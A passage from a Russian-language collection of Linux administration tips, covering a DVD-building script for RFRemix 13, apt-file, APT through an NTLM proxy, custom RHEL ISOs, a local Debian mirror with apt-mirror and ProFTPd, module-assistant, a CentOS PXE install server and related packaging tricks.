    правильной оптимизации запросов, которые в версии 8.2 можно очень гибко настраивать.
    
    И последнее. Несмотря на то, что сейчас все наши сервера работают под Ubuntu,
    раньше использовалась Fedora. Пример сборки для нее (и похожих дистрибутивов)
    есть в каталоге ftp://ftp.ailant.com.ru/pub/soft/postgresql-8.3.7-1C-fedora/ .
    Там лежит как пример готовый spec-файл для сборки. Собирается все через mock (http://fedoraproject.org/wiki/Projects/Mock).
    
    Дополнение: Компилировать PostgreSQL необходимо с ключом
    "--disable-integer-datetimes", иначе при загрузке данных в СУБД через
    1С:Предприятие 8 может вылететь ошибка про timestamp. Плюс вышло обновление
    патча 0.19.3 от 1С с небольшим инзменением,вместо (строка 2118):
        +LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
    используется
        +LANGUAGE C RETURNS NULL ON NULL INPUT VOLATILE;
    
     
    ----* Автоматизированная сборка загрузочного DVD из CD-образов Russian Fedora 13   Автор: Igor  [комментарии]
     
    Ниже представлен вариант автоматизированной сборки DVD из CD-образов Russian
    Remix Fedora (RFRemix). Тестировалось под OS RFRemix 11 и RFRemix 12.
    
    Изложенные в инструкции действия следует выполнять под пользователем root.
    Создаем каталог куда копируем 6-ть образов CD (закачены с yandex):
    
       RFRemix-13-i386-disc1.iso
       RFRemix-13-i386-disc2.iso
       RFRemix-13-i386-disc3.iso
       RFRemix-13-i386-disc4.iso
       RFRemix-13-i386-disc5.iso
       RFRemix-13-i386-disc6.iso
    
    В каталоге создаем bash-скрипт MakeDVD.sh со следующим содержимым:
    
       #!/bin/bash
       #Script create DVD ISO-image from CD ISO-images for Fedora 13
    
       RFREMIX13_MEDIA_ID="1274745691.442497"
       MAX_DISC_NUM=6
       RFREMIX_DISC_NAME="RFRemix-13-i386-disc"
       COMPS_FILE="RFRemix-13-comps.xml"
       RPM_DIR="Packages"
       DVD_LABEL="RFRemix 13"
    
       RFRENIX_VER11=`((cat /etc/system-release) | awk '{  if(match($0,"11")!=0) print "11" }')`
       RFRENIX_VER12=`((cat /etc/system-release) | awk '{ if(match($0,"12")!=0) print "12" }')`
    
       CURDIR="$(pwd)"
       COMPSFILE=$CURDIR"/srcdvd/repodata/"$COMPS_FILE
       SRCDVDDIR="$CURDIR""/srcdvd"
       DVDISOFILE="$CURDIR""/dvd-iso/RFRemix-13-i386-DVD.iso"
    
       cleandata()
       {
       echo
       echo 'Cleaning temporary data...'
       echo
    
       for ((i=1;i<=$MAX_DISC_NUM;i++)) ; do 
           if [ -a ./mnt/disc$i ]; then
       	  umount -f ./mnt/disc$i ; 
           fi
       done
    
       rm -f -R ./mnt
       rm -f -R ./srcdvd
       }
    
       echo
       echo 'Create directories...'
       echo
    
       cleandata
       rm -f -R ./dvd-iso
    
       mkdir ./srcdvd
       mkdir ./dvd-iso
       mkdir ./mnt
       for ((i=1;i<=$MAX_DISC_NUM;i++)) ; do mkdir ./mnt/disc$i ; done
    
       echo
       echo 'Mount a CD ISO-image...'
       echo
    
       for ((i=1;i<=$MAX_DISC_NUM;i++)) ; do mount -t iso9660  ./$RFREMIX_DISC_NAME$i.iso ./mnt/disc$i -o loop ; done
    
       echo
       echo 'Data preparation...'
       echo
    
       echo 'Copying packages from disc 1...'
       cp -f -R ./mnt/disc1/* ./srcdvd
       cp -f ./mnt/disc1/.discinfo ./srcdvd
    
       rm -f ./srcdvd/repodata/*
       cp ./mnt/disc1/repodata/*-comps.xml ./srcdvd/repodata/$COMPS_FILE
       rm -f `(find ./srcdvd/*.TBL ./srcdvd/ | grep .TBL)`
    
       for ((i=2;i<=$MAX_DISC_NUM;i++)) ; do
           echo 'Copying packages from disc '$i'...';
           cp ./mnt/disc$i/$RPM_DIR/* ./srcdvd/$RPM_DIR;
       done
    
       if [ "v"$RFRENIX_VER12 == "v12" ] && [ ! -e /usr/lib/python2.6/site-packages/createrepo/createrepo_rfremix12.patch ]; then
          echo
          echo 'Patching utility createrepo...'
          echo
    
          cp -f ./createrepo_rfremix12.patch /usr/lib/python2.6/site-packages/createrepo
          cp /usr/lib/python2.6/site-packages/createrepo/__init__.py /usr/lib/python2.6/site-packages/createrepo/__init__OLD.py
          patch -i /usr/lib/python2.6/site-packages/createrepo/createrepo_rfremix12.patch /usr/lib/python2.6/site-packages/createrepo/__init__.py
       fi
    
       if [ "v"$RFRENIX_VER11 == "v11" ] && [ ! -e /usr/lib/python2.6/site-packages/createrepo/createrepo.patch ]; then
          echo
          echo 'Patching utility createrepo...'
          echo
    
          cp -f ./createrepo.patch /usr/lib/python2.6/site-packages/createrepo
          cp /usr/lib/python2.6/site-packages/createrepo/__init__.py /usr/lib/python2.6/site-packages/createrepo/__init__OLD.py
          patch -i /usr/lib/python2.6/site-packages/createrepo/createrepo.patch /usr/lib/python2.6/site-packages/createrepo/__init__.py
        fi
    
       echo
       echo 'Creation of information repositories...'
       echo
    
       createrepo -g "$COMPSFILE" --baseurl "media://"$RFREMIX13_MEDIA_ID -d -o "$SRCDVDDIR" "$SRCDVDDIR"
    
       echo
       echo 'Checksum repodata/repomd.xml...'
       echo
    
       SHA256REPO=`(sha256sum ./srcdvd/repodata/repomd.xml) | awk '{ print $1 }'`
       REPOINFO="repodata/repomd.xml = sha256:""$SHA256REPO"
       (cat ./mnt/disc1/.treeinfo) | awk '{ if(match($0,"repodata")==0) print; else print "'"$REPOINFO"'" }' > ./srcdvd/.treeinfo
    
       echo
       echo 'Creating a bootable DVD ISO-image...'
       echo
    
       mkisofs -r -T -joliet-long -V "$DVD_LABEL" -b isolinux/isolinux.bin -c isolinux/boot.cat \
          -no-emul-boot -boot-load-size 4 -boot-info-table -o  "$DVDISOFILE" "$SRCDVDDIR" 2> ./make_iso.log
    
       cleandata
    
       ls -l ./dvd-iso
    
       echo
       echo 'Create DVD ISO completed!'
       echo
    
    
    В каталоге размещаем два patch-файла для createrepo 
    (пакет должен быть установлен). Патчи необходимы, иначе
    мы получим пропуск некоторых rpm-пакетов.
    
    Файл createrepo.patch (для RFRemix 11):
    
       *** ./__init__.py	2010-05-29 22:51:15.000000000 +0300
       --- ./__init__update.py	2010-05-30 07:26:02.000000000 +0300
       ***************
       *** 72,78 ****
              self.oldpackage_paths = [] # where to look for the old packages - 
              self.deltafile = 'prestodelta.xml.gz'
              self.num_deltas = 1 # number of older versions to delta (max)
       !      self.max_delta_rpm_size = 100000000
              self.update_md_path = None 
              self.skip_stat = False
              self.database = False
       --- 72,78 ----
              self.oldpackage_paths = [] # where to look for the old packages - 
              self.deltafile = 'prestodelta.xml.gz'
              self.num_deltas = 1 # number of older versions to delta (max)
       !      self.max_delta_rpm_size = 1000000000L
              self.update_md_path = None 
              self.skip_stat = False
              self.database = False
       ***************
       *** 588,594 ****
              """
              
              # duck and cover if the pkg.size is > whatever
       !      if int(pkg.size) > self.conf.max_delta_rpm_size:
                  if not self.conf.quiet: 
                      self.callback.log("Skipping %s package " \
                                          "that is > max_delta_rpm_size"  % pkg)
       --- 588,594 ----
              """
              
              # duck and cover if the pkg.size is > whatever
       !      if long(pkg.size) > self.conf.max_delta_rpm_size:
                  if not self.conf.quiet: 
                      self.callback.log("Skipping %s package " \
                                          "that is > max_delta_rpm_size"  % pkg)
       ***************
       *** 638,644 ****
              for d in self.conf.oldpackage_paths:
                  for f in self.getFileList(d, 'rpm'):
                      fp = d + '/' + f
       !              if int(os.stat(fp)[stat.ST_SIZE]) > self.conf.max_delta_rpm_size:
                          self.callback.log("Skipping %s package " \
                                            "that is > max_delta_rpm_size"  % f)
                          continue
       --- 638,644 ----
              for d in self.conf.oldpackage_paths:
                  for f in self.getFileList(d, 'rpm'):
                      fp = d + '/' + f
       !              if long(os.stat(fp)[stat.ST_SIZE]) > self.conf.max_delta_rpm_size:
                          self.callback.log("Skipping %s package " \
                                            "that is > max_delta_rpm_size"  % f)
                          continue
    
    
    Файл createrepo_rfremix12.patch (для RFRemix 12):
    
    
       *** ./__init__.py	2010-05-30 09:28:40.000000000 +0300
       --- ./__init__update_f12.py	2010-05-30 09:38:01.000000000 +0300
       ***************
       *** 74,80 ****
              self.oldpackage_paths = [] # where to look for the old packages - 
              self.deltafile = 'prestodelta.xml.gz'
              self.num_deltas = 1 # number of older versions to delta (max)
       !      self.max_delta_rpm_size = 100000000
              self.update_md_path = None 
              self.skip_stat = False
              self.database = False
       --- 74,80 ----
              self.oldpackage_paths = [] # where to alook for the old packages - 
              self.deltafile = 'prestodelta.xml.gz'
              self.num_deltas = 1 # number of older versions to delta (max)
       !      self.max_delta_rpm_size = 1000000000L
              self.update_md_path = None 
              self.skip_stat = False
              self.database = False
       ***************
       *** 613,619 ****
              """
              drpm_pkg_time = time.time()
              # duck and cover if the pkg.size is > whatever
       !      if int(pkg.size) > self.conf.max_delta_rpm_size:
                  if not self.conf.quiet: 
                      self.callback.log("Skipping %s package " \
                                          "that is > max_delta_rpm_size"  % pkg)
       --- 613,619 ----
              """
              drpm_pkg_time = time.time()
              # duck and cover if the pkg.size is > whatever
       !      if long(pkg.size) > self.conf.max_delta_rpm_size:
                  if not self.conf.quiet: 
                      self.callback.log("Skipping %s package " \
                                          "that is > max_delta_rpm_size"  % pkg)
       ***************
       *** 671,677 ****
                  for f in self.getFileList(d, 'rpm'):
                      fp = d + '/' + f
                      fpstat = os.stat(fp)
       !              if int(fpstat[stat.ST_SIZE]) > self.conf.max_delta_rpm_size:
                          self.callback.log("Skipping %s package " \
                                            "that is > max_delta_rpm_size"  % f)
                          continue
       --- 671,677 ----
                  for f in self.getFileList(d, 'rpm'):
                      fp = d + '/' + f
                      fpstat = os.stat(fp)
       !              if long(fpstat[stat.ST_SIZE]) > self.conf.max_delta_rpm_size:
                          self.callback.log("Skipping %s package " \
                                            "that is > max_delta_rpm_size"  % f)
                          continue
    
    
    Установить атрибут MakeDVD.sh на выполнение.
    Запустить файл MakeDVD.sh.
    В каталоге dvd-iso получим DVD ISO-образ Russian Remix Fedora 13.
    Исходники скрипта и патчей.
    
     
    ----* Анализ содержимого DEB-пакетов (доп. ссылка 1)   [комментарии]
     
    Наиболее простым способом просмотра содержимого как установленного, так и не
    установленного, DEB-пакета является использование утилиты apt-file.
    
    Устанавливаем:
    
       sudo apt-get install apt-file
       sudo apt-file update
    
    Выводим список файлов для любого установленного пакета или пакета из
    репозитория, в отличие от "dpkg -L" установка пакета для его анализа не
    обязательна, выборка производится на основе сохраненных индексов:
    
       apt-file list имя_пакета
    
    например:
    
       apt-file list wget
    
    Ищем в состав какого пакета входит заданный файл:
    
       apt-file search /usr/bin/ldd
       apt-file search libUil.so
    
    точное соответствие (-x - использовать perl-совместимые регулярные выражения):
    
       apt-file -x search '^/bin/ls$'
    
    или используем более замысловатую выборку по маске
    
       apt-file search "/(usr/bin/vim|sbin/lvm)" 
    
    для просмотра содержимого локально скопированного пакета, отсутствующего в
    репозитории, можно использовать команду:
    
       dpkg-deb -c file.deb
    
     
    ----* Организация работы APT через NTLM-proxy   Автор: deathmokar  [комментарии]
     
    APT (aptitude, apt-get) не проходит в интернет напрямую через MS ISA (proxy).
    Проблема в NTLM авторизации от MS. В сети можно найти описание решения
    (http://michaelcarden.net/blog/index.php?p=58) через задействование локального
    прокси-сервера ntlmaps, но работать этот метод отказался.
    
    Решение нашлось на сайте http://cntlm.sourceforge.net/
    Конфигурационный файл данного прокси крайне прост (/etc/cntlm.conf):
     
       Username - имя пользователя для ISA
       Domain - имя MS-домена
       Password - пароль
       Proxy - сервер ISA (ip или имя) и его порт (8080)
    
    Остальное не трогал.
    
    Например:
    
        Username myname
        Domain MYDOMAIN
        Password mypass
        #Workstation - не понадобилось
        Proxy proxy.mynet.com:8080
    
    После правки перезапускаем прокси:
    
        /etc/init.d/cntlm restart
    
    Сам APT направляем на него так:
    
        touch /etc/apt/apt.config.d/proxy
    
    В любом редакторе правим файл до состояния:
    
      Acquire::http::Proxy "http://127.0.0.1:3128/";
      Acquire::ftp::Proxy "ftp://127.0.0.1
    
     
    ----* Как сформировать установочный iso-образ RHEL заданным набором пакетов (доп. ссылка 1)   [комментарии]
     
    Инструкция по подготовке загрузочного ISO собственной комплектации на базе RHEL
    5.x или CentOS 5.x. Создаваемый диск будет содержать только набор пакетов,
    установленных в текущей системе.
    
    1. Загружаем iso-образ загрузочного DVD и сохраняем их в /tmp
    
    2. Создаем базовую директорию
    
       mkdir -p /build/rhel52
    
    3. Монтируем ISO
    
       mount -oloop /tmp/rhel-5-server-x86_64-dvd.iso /mnt
    
    4. Копируем файлы с DVD в директорию /build/rhel52
    
       rsync -rv /mnt/* /build/rhel52
       cp /mnt/.discinfo /build/rhel52
       cp /mnt/.treeinfo /build/rhel52
    
    5. На текущей системе, содержание которой нам необходимо повторить в
    создаваемом ISO, генерируем список пакетов:
    
       rpm -qa --queryformat '%{name},%{version}-%{release},%{arch}\n' | sort -n > /tmp/rhel5.2-rpm
    
    6. Добавляем окончание .rpm к элементам сформированного списка:
    
       cat /tmp/rhel5.2-rpm | sed 's/$/.rpm/g' > /build/rhel52/rhel52-list
    
    7. Создаем список RPM, находящихся на примонтированном DVD:
    
       ls -1 /build/rhel52/Server > /build/rhel52/rhel52-all
    
    8. Генерируем список пакетов, которые нам не нужны:
    
       diff -uNr /build/rhel52/rhel52-list /build/rhel52/rhel52-all | grep ^+ > /build/rhel52/remove-list
    
    9. Удаляем первые три строки из файла rhel52-all (удаляем первую строку и файлы
    TRANS.TBL и repodata):
    
       vi /build/rhel52-all
    
    10. Создаем скрипт для удаления ненужных файлов
    
       #!/bin/ksh
       #uncomment the next line for troubleshooting
       #set -x
       LINES=`cat remove-list | wc -l`
       LINE_NO=1
       while [ $LINE_NO -le $LINES ]
       do
       BADFILE=`sed -n "${LINE_NO}p" remove-list`
       rm -f /build/rhel52/Server/$BADFILE
       LINE_NO=`expr $LINE_NO + 1 `
       done
    
    11. Обновляем индексные файлы на DVD, учтя удаленные пакеты:
    
       createrepo -g /build/rhel52/Server/repodata/comps-rhel5-server-core.xml /build/rhel52/Server
    
    12. Создаем директорию для дополнительных пакетов, которые нам хочется
    сохранить на установочном носителе:
    
       mkdir /build/rhel52/addons
    
    15. Копируем дополнительные пакеты:
    
       cp /pathtofiles/addons/* /build/rhel52/addons/
    
    13. Копируем типовой kickstart-файл из текущей системы:
    
       cp kickstart_file /build/rhel52
    
    14. Заменяем если в kickstart-файле "--url http://" на "cdrom"
    
    После секции %post добавляем:
    
       %post --nochroot
       mount /tmp/cdrom /mnt/sysimage/mnt
    
    Заменяем "/bin/rpm -Uhv http://" на "/bin/rpm -Uhv /mnt/addons/", чтобы ставить
    файлы не из web, а их локальной директории addons. Также заменяем все
    упоминания wget на директорию addons.
    
    15. Для удобства установки в  /build/rhel52/isolinux/boot.msg добавляем
    подсказку по вызову kickstart-конфигурации "ks=cdrom:/rhel52.ks.cfg"
    
    16. Создаем загрузочный ISO:
    
       mkisofs -r -T -J -V "RHEL52 DVD" -b isolinux/isolinux.bin -c isolinux/boot.cat \
          -no-emul-boot -boot-load-size 4 -boot-info-table -o /tmp/rhel52.iso /build/rhel52
    
     
    ----* Создание локального зеркала Debian (apt-mirror + ProFTPd + Apache2)   Автор: Yuri Rybnikov  [комментарии]
     
    Введение: Нужно было сделать зеркало Debian в локальной сети университета. Под
    эти нужны была создана виртуальная машина и установлен "голый" Debian.
    IP адрес достался по-наследству от старого зеркала: 192.168.1.200.
    Были поставленыVMware Tools. И всё сконфигурировано для работы.
    
    Далее пойдем по порядку.
    
    В нашем университете используется прокси-сервер,
    и чтобы установить его по умолчанию в файл конфигурации окружения /etc/profile
    необходимо внести изменения, а именно добавить:
    
       export http_proxy=http://192.168.251.1:8080/
       export ftp_proxy=ftp://192.168.251.1:8080/
    
    Ставим пакет, который будет выполнять зеркалирование apt-mirror:
    
       apt-get install apt-mirror
    
    Дальше нам надо определиться с файлом конфигурации зеркала. Что будет зеркалироваться и откуда.
    Так как через университетский прокси доступно быстрое зеркало http://ftp.mgts.by/debian
    
    Правим /etc/apt/mirrors.list:
    
       # apt-mirror configuration file
       ##
       ## The default configuration options (uncomment and change to override)
       ##
       #
    
       set base_path /var/spool/apt-mirror
       set mirror_path $base_path/mirror
       set skel_path $base_path/skel
       set var_path $base_path/var
       #set defaultarch i386
       set nthreads 20
       set _tilde 0
    
       # etch's section
       #deb http://ftp.mgts.by/debian etch main contrib non-free
    
       # lenny's section
       deb http://ftp.mgts.by/debian lenny main contrib non-free
    
       # squeeze's section
       deb http://ftp.mgts.by/debian squeeze main contrib non-free
    
    
       # sid's section
       deb http://ftp.mgts.by/debian sid main contrib non-free
    
       ##
       ## Cleaner configuration example
       ##
    
       set cleanscript $var_path/clean.sh
    
       # Cleaning section
    
       clean http://ftp.mgts.by/
    
       skip-clean http://ftp.mgts.by/debian/doc/
     
    
    Что бы не было ошибки при выполнении /var/spool/apt-mirror/var/clean.sh надо
    пропатчить /usr/bin/apt-mirror
    
    Содержание файла apt-mirror.patch:
    
       --- /usr/bin/apt-mirror 2007-12-02 11:22:02.000000000 +0100
       +++ apt-mirror-patched 2008-06-15 11:28:47.000000000 +0200
       @@ -518,14 +518,14 @@
       my $dir = shift;
       my $is_needed = 0;
       return 1 if $skipclean{$dir};
       - opendir(DIR, $dir) or die "apt-mirror: can't opendir $dir: $!";
       - foreach (grep { !/^\.$/ && !/^\.\.$/ } readdir(DIR)) {
       + opendir(my $dir_h, $dir) or die "apt-mirror: can't opendir $dir: $!";
       + foreach (grep { !/^\.$/ && !/^\.\.$/ } readdir($dir_h)) {
       my $item = $dir . "/". $_;
       $is_needed |= process_directory($item) if -d $item && ! -l $item;
       $is_needed |= process_file($item) if -f $item;
       $is_needed |= process_symlink($item) if -l $item;
       }
       - closedir DIR;
       + closedir $dir_h;
       push @rm_dirs, $dir unless $is_needed;
       return $is_needed;
       }
    
    Патчим:
    
       cat apt-mirror.patch | patch -p1
    
    Логинимся под пользователем apt-mirror:
    
       su - apt-mirror
    
    Запускаем программу зеркалирования:
    
       apt-mirror
    
    Идем пить чай.
    
    Оговорюсь, в зависимости от количества дистрибутивов выбранных для
    зеркалирования и каталогов для зеркалирования объем скачанной информации может
    быть очень большой.
    
    Поэтому запаситесь терпением и работайте в screen'е :)
    Должны быть всякие сообщения о том что всё ок. А при ошибке надо гуглить и исправлять.
    
    После окончания успешного зеркалирования выполняем /var/spool/apt-mirror/var/clean.sh:
    
       # /bin/bash /var/spool/apt-mirror/var/clean.sh
    
    Чистим от "шлаков". И освобождаются Гигабайты пространства.
    
    Настраиваем автоматизацию по планировщику. Правим планировщик для проверки
    зеркала каждый день в час ночи и очистки от "мусора" в четыре утра.
    
    В /etc/cron.d/apt-mirror добавляем: 
    
       #
       # Regular cron jobs for the apt-mirror package
       #
       0 1 * * * apt-mirror /usr/bin/apt-mirror > /var/spool/apt-mirror/var/cron.log
       0 4 * * * root /bin/bash /var/spool/apt-mirror/var/clean.sh > /var/spool/apt-mirror/var/cron_cl.log
       #
    
    Ставим apache2 для доступа по HTTP к зеркалу:
    
       apt-get install apache2
    
    Делаем доступ к зеркалу через HTTP, для этого создаем симлинк:
    
       ln -s /var/spool/apt-mirror/mirror/ftp.mgts.by/debian /var/www/debian
    
    Далее делаем, как и положено, ссылку на stable дистрибутив:
    
       cd /var/spool/apt-mirror/mirror/ftp.mgts.by/debian/dists
       ln -s lenny/ stable
    
    Дальше надо сделать доступ по FTP к зеркалу с помощью сервера ProFTPd:
    
       apt-get install proftpd
    
    Конфигурируем его. Правим /etc/proftpd/proftpd.conf под наши нужды:
    
       Include /etc/proftpd/modules.conf
    
       UseIPv6 off
       IdentLookups off
    
       ServerName "Debian mirror"
       ServerType standalone
       DeferWelcome off
    
       MultilineRFC2228 on
       DefaultServer on
       ShowSymlinks on
    
       TimeoutNoTransfer 600
       TimeoutStalled 600
       TimeoutIdle 1200
    
       DisplayLogin welcome.msg
       DisplayChdir .message true
       ListOptions "-l"
    
       DenyFilter \*.*/
    
       RequireValidShell off
    
       # Port 21 is the standard FTP port.
       Port 21
    
       MaxInstances 30
    
       User proftpd
       Group nogroup
       Umask 022 022
    
       AllowOverwrite on
    
       TransferLog /var/log/proftpd/xferlog
       SystemLog /var/log/proftpd/proftpd.log
    
    
       User ftp
       Group nogroup
       UserAlias anonymous ftp
       DirFakeUser on ftp
       DirFakeGroup on ftp
       # Пускать пользователей с шелом /bin/false и прочей невалидной ерундой
       RequireValidShell off
       MaxClients 100
    
    
    Так как ProFTPd не понимает симлинки за пределы текущего FTP-дерева, то сделаем хитрый mount:
    
       mkdir /home/ftp/debian
       mount --bind /var/spool/apt-mirror/mirror/ftp.mgts.by/debian /home/ftp/debian
    
    Чтобы не пропадал mount после перезагрузки в /etc/fstab вносим изменения,
    добавляем в конец строчку:
    
       /var/spool/apt-mirror/mirror/ftp.mgts.by/debian /home/ftp/debian none bind
    
    Всё. Готово. Для уверенности можем перезагрузить сервер и понять, что всё будет работать :)
    
    Ссылки:
    
    * http://apt-mirror.sourceforge.net - apt-mirror (apt sources mirroring tool)
    * http://www.howtoforge.com/local_debian_ubuntu_mirror - How To Create A Local
    Debian/Ubuntu Mirror With apt-mirror
    * http://www.linuxnsk.ru/index.php?option=com_content&task=view&id=171&Itemid=1
    - Как создать локальное зеркало Debian/Ubuntu используя apt-mirror (перевод)
    *
    http://wiki.binarylife.ru/index.php/Apt-get_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D0%BF%D1%80%D0%BE%D0%BA%D1%81%D0%B8 -
     Apt-get через прокси
    * http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=484876 - apt-mirror: many closedir() errors
    * http://itblog.su/proftpd-vs-symlinks.html - proftpd vs symlinks
    * http://sudouser.com/nastrojka-cron - Настройка Cron
    
     
    ----* Упрощение тестирования экспериментальных версий Ubuntu при помощи TestDrive (доп. ссылка 1)   [обсудить]
     
    Для желающих регулярно следить за процессом разработки Ubuntu ежедневно
    публикуются тестовые сборки, позволяющие наглядно оценить прогресс в развитии
    дистрибутива. Для автоматизации выполнения рутинных операций по загрузке и
    запуску таких сборок под управлением систем виртуализации подготовлена удобная
    утилита testdrive (http://edge.launchpad.net/testdrive).
    
    Утилита testdrive работает в режиме командной строки и после запуска дает
    возможность выбрать тип тестируемой сборки (десктоп, сервер, версия для
    нетбуков и т.п.). Если ранее при помощи программы уже осуществлялась загрузка
    тестовых образов, то по сети будут переданы только изменившиеся в новом
    iso-образе данные, что позволяет ускорить загрузку и сэкономить трафик.
    
    После загрузки iso-образ автоматически конфигурируется для запуска под
    управлением систем виртуализации KVM или VirtualBox.
    
    Установить программу можно из PPA-репозитория https://edge.launchpad.net/~testdrive/+archive/ppa
    
       sudo add-apt-repository ppa:testdrive/ppa 
       sudo apt-get update 
       sudo apt-get install testdrive
    
     
    ----* Сборка дополнительный модулей ядра в Debian и Ubuntu (доп. ссылка 1)   [комментарии]
     
    Установить дополнительный модуль из исходных текстов для Linux ядра в Debian,
    не нарушая пакетной структуры дистрибутива, можно при помощи приложения
    module-assistant, в результате работы которого на выходе получается обычный
    deb-пакет с заданным модулем.
    
    Для примера произведем установку модуля ndiswrapper в Debian Lenny. 
    
    Устанавливаем module-assistant:
    
       apt-get install module-assistant
    
    Загружаем необходимые для работы сборки модулей заголовочные файлы ядра и
    пакеты, подобные build-essential:
    
       m-a prepare
    
    Обновляем индекс с установленными в данный момент модулями:
    
       m-a update
    
    Посмотреть список модулей можно через команду:
    
       m-a list
    
    или в сокращенном виде:
    
       m-a -t list | grep -E '^[^ ].*\(' | cut -d " " -f 1 | sort
    
    Перед сборкой проверяем наличие в /etc/apt/sources.list подключения
    репозиториев contrib и non-free, которые могут понадобиться для установки
    зависимостей для собираемого модуля.
    
    Собираем нужный модуль, который после сборки будет автоматически установлен (a-i = auto-install):
    
       m-a a-i ndiswrapper
    
    Устанавливаем сразу несколько модулей разом:
    
       m-a a-i madwifi zaptel openswan sl-modem kvm drbd
    
    чтобы просто собрать пакет без установки, нужно выполнить (a-b = auto-build):
    
       m-a a-b ndiswrapper
    
    Если выполнить команду "m-a" без аргументов, то module-assistant запустится в
    интерактивном режиме, где все действия можно проделать в диалоговом режиме
    через интерфейс на базе меню.
    
    Настраиваем загрузку Windows-драйвера через ndiswrapper:
    
       apt-get install ndiswrapper-utils-1.9 wireless-tools
       ndiswrapper -i bcmwl5a.inf
    
    Загружаем модуль:
    
       modprobe ndiswrapper
    
    Проверяем его загрузку:
    
       lsmod | grep ndiswrapper
    
    Настраиваем автозагрузку модуля указав его имя в в /etc/modules:
    
       ndiswrapper
    
    Проверяем работу беспроводной карты и создаем WEP-соединение:
    
       ifconfig wlan0 up
       iwconfig wlan0 key open 1234567890
       iwconfig wlan0 essid номер
       dhclient wlan0
    
     
    ----* Настройка сервера сетевой установки на базе CentOS (доп. ссылка 1)   [комментарии]
     
    Устанавливаем tftp-сервер:
    
       yum install tftp-server
    
    и активируем его в /etc/xinetd.d/tftp:
    
       disable = no
    
    Перезапускаем xinetd, чтобы изменения подействовали:
    
       service xinetd restart
    
    Устанавливаем пакет syslinux:
    
       yum install syslinux
    
    Копируем необходимые для загрузки файлы syslinux в директорию tftpboot:
    
       cp /usr/lib/syslinux/pxelinux.0 /tftpboot
       cp /usr/lib/syslinux/menu.c32 /tftpboot
       cp /usr/lib/syslinux/memdisk /tftpboot
       cp /usr/lib/syslinux/mboot.c32 /tftpboot
       cp /usr/lib/syslinux/chain.c32 /tftpboot
    
    Создаем директорию с PXE меню:
    
       mkdir /tftpboot/pxelinux.cfg
    
    Создаем для каждого релиза CentOS, которые потребуется устанавливать удаленно,
    поддиректории для загрузочных образов:
    
       mkdir -p /tftpboot/images/centos/i386/3.0
       mkdir -p /tftpboot/images/centos/i386/3.1
       mkdir -p /tftpboot/images/centos/x86_64/3.0
       mkdir -p /tftpboot/images/centos/x86_64/3.1
       mkdir -p /tftpboot/images/centos/i386/4.0
       mkdir -p /tftpboot/images/centos/i386/4.1
       mkdir -p /tftpboot/images/centos/x86_64/4.0
       mkdir -p /tftpboot/images/centos/x86_64/4.1
       mkdir -p /tftpboot/images/centos/i386/5.0
       mkdir -p /tftpboot/images/centos/i386/5.1
       mkdir -p /tftpboot/images/centos/x86_64/5.0
       mkdir -p /tftpboot/images/centos/x86_64/5.1
    
    Для каждого релиза и архитектуры копируем образ ядра vmlinuz и ram-диск
    initrd.img из директории /images/pxeboot/ на первом установочном диске каждого
    релиза (из $Release/$ARCH копируем в /tftpboot/images/centos/$ARCH/$RELEASE).
    
    Настраиваем DHCP, добавляем в /etc/dhcpd.conf (вместо xxx.xxx.xxx.xxx
    прописываем адрес нашего PXE-сервера):
    
       allow booting;
       allow bootp;
       option option-128 code 128 = string;
       option option-129 code 129 = text;
       next-server xxx.xxx.xxx.xxx; 
       filename "/pxelinux.0";
    
    Перезапускаем DHCP сервер:
    
       service dhcpd restart
    
    Создаем PXE меню, добавляем в /tftpboot/pxelinux.cfg/default примерно следующее:
    
       default menu.c32
       prompt 0
       timeout 300
       ONTIMEOUT local
    
       MENU TITLE PXE Menu
    
       LABEL Pmajic
            MENU LABEL Pmajic
            kernel images/pmagic/bzImage
            append noapic initrd=images/pmagic/initrd.gz root=/dev/ram0 init=/linuxrc ramdisk_size=100000
    
       label Dos Bootdisk
            MENU LABEL ^Dos bootdisk
            kernel memdisk
            append initrd=images/622c.img
    
       LABEL CentOS 5 x86 NO KS eth0
            MENU LABEL CentOS 5 x86 NO KS eth0
            KERNEL images/centos/5/x86/vmlinuz
            APPEND ks initrd=images/centos/5/x86_64/initrd.img \
            ramdisk_size=100000 ksdevice=eth1 ip=dhcp url --url http://xxx.xxx.xxx.xxx/mirrors/CentOS-5-i386/
    
       LABEL CentOS 5 x86_64 NO KS eth0
            MENU LABEL CentOS 5 x86_64 NO KS eth0
            KERNEL images/centos/5/x86_64/vmlinuz
            APPEND ks initrd=images/centos/5/x86_64/initrd.img \
            ramdisk_size=100000 ksdevice=eth1 ip=dhcp url --url http://xxx.xxx.xxx.xxx/mirrors/CentOS-5-x86_64/
    
     
    ----* Восстановление даты модификации файла из rpmdb (доп. ссылка 1)   Автор: Артем Носов  [комментарии]
     
    Восстановить дату последней модификации файла из базы rpmdb позволяет команда:
    
       touch -m --date="`rpm -q --qf '%{FILEMTIMES:date}' -f имя_файла`" имя_файла
    
    Например, рассмотрим ситуацию
    
       rpm -V postgresql-server
       .......T  c /var/lib/pgsql/.bash_profile
    
    У файла поменялась дата модификации в связи с внесением в него временных
    изменений. Восстановим дату модификации на хранимую в rpmdb
    
       touch -m --date="`rpm -q --qf '%{FILEMTIMES:date}' -f /var/lib/pgsql/.bash_profile`" /var/lib/pgsql/.bash_profile
    
    Проверим, что изменения имели место быть
    
       rpm -V postgresql-server
    
    Проверка прошла успешно.
    
     
    ----* Как в Debian/Ubuntu установить отсутствующий в репозитории Perl модуль   [комментарии]
     
    В случае отсутствия определенного Perl модуля в стандартных репозиториях Debian
    и Ubuntu, можно поставить модуль через задействования механизмов установки
    модулей CPAN, но такие модули не впишутся в пакетную инфраструктуру
    дистрибутива. Поэтому для установки нестандартных Perl модулей следует
    использовать dh-make-perl.
    
    Ставим пакет dh-make-perl:
       apt-get install dh-make-perl
    
    Устанавливаем нужный Perl модуль (в примере Module::Name) из репозитория CPAN:
    
       dh-make-perl --cpan Module::Name --install
    
    Например: 
    
       dh-make-perl --cpan HTML::CTPP2 --install
    
    Утилита dh-make-perl сама загрузит нужный модуль, соберет его, оформит deb-пакет и установит его.
    
    Если модуль не из CPAN, можно распаковать модуль и выполнить (--build -
    сформировать пакет, но не устанавливать):
    
     dh-make-perl директория_с_модулем --build
    
     
    ----* Перенос пакетов с зависимостями между Debian-based дистрибутивами   Автор: Vitto  [комментарии]
     
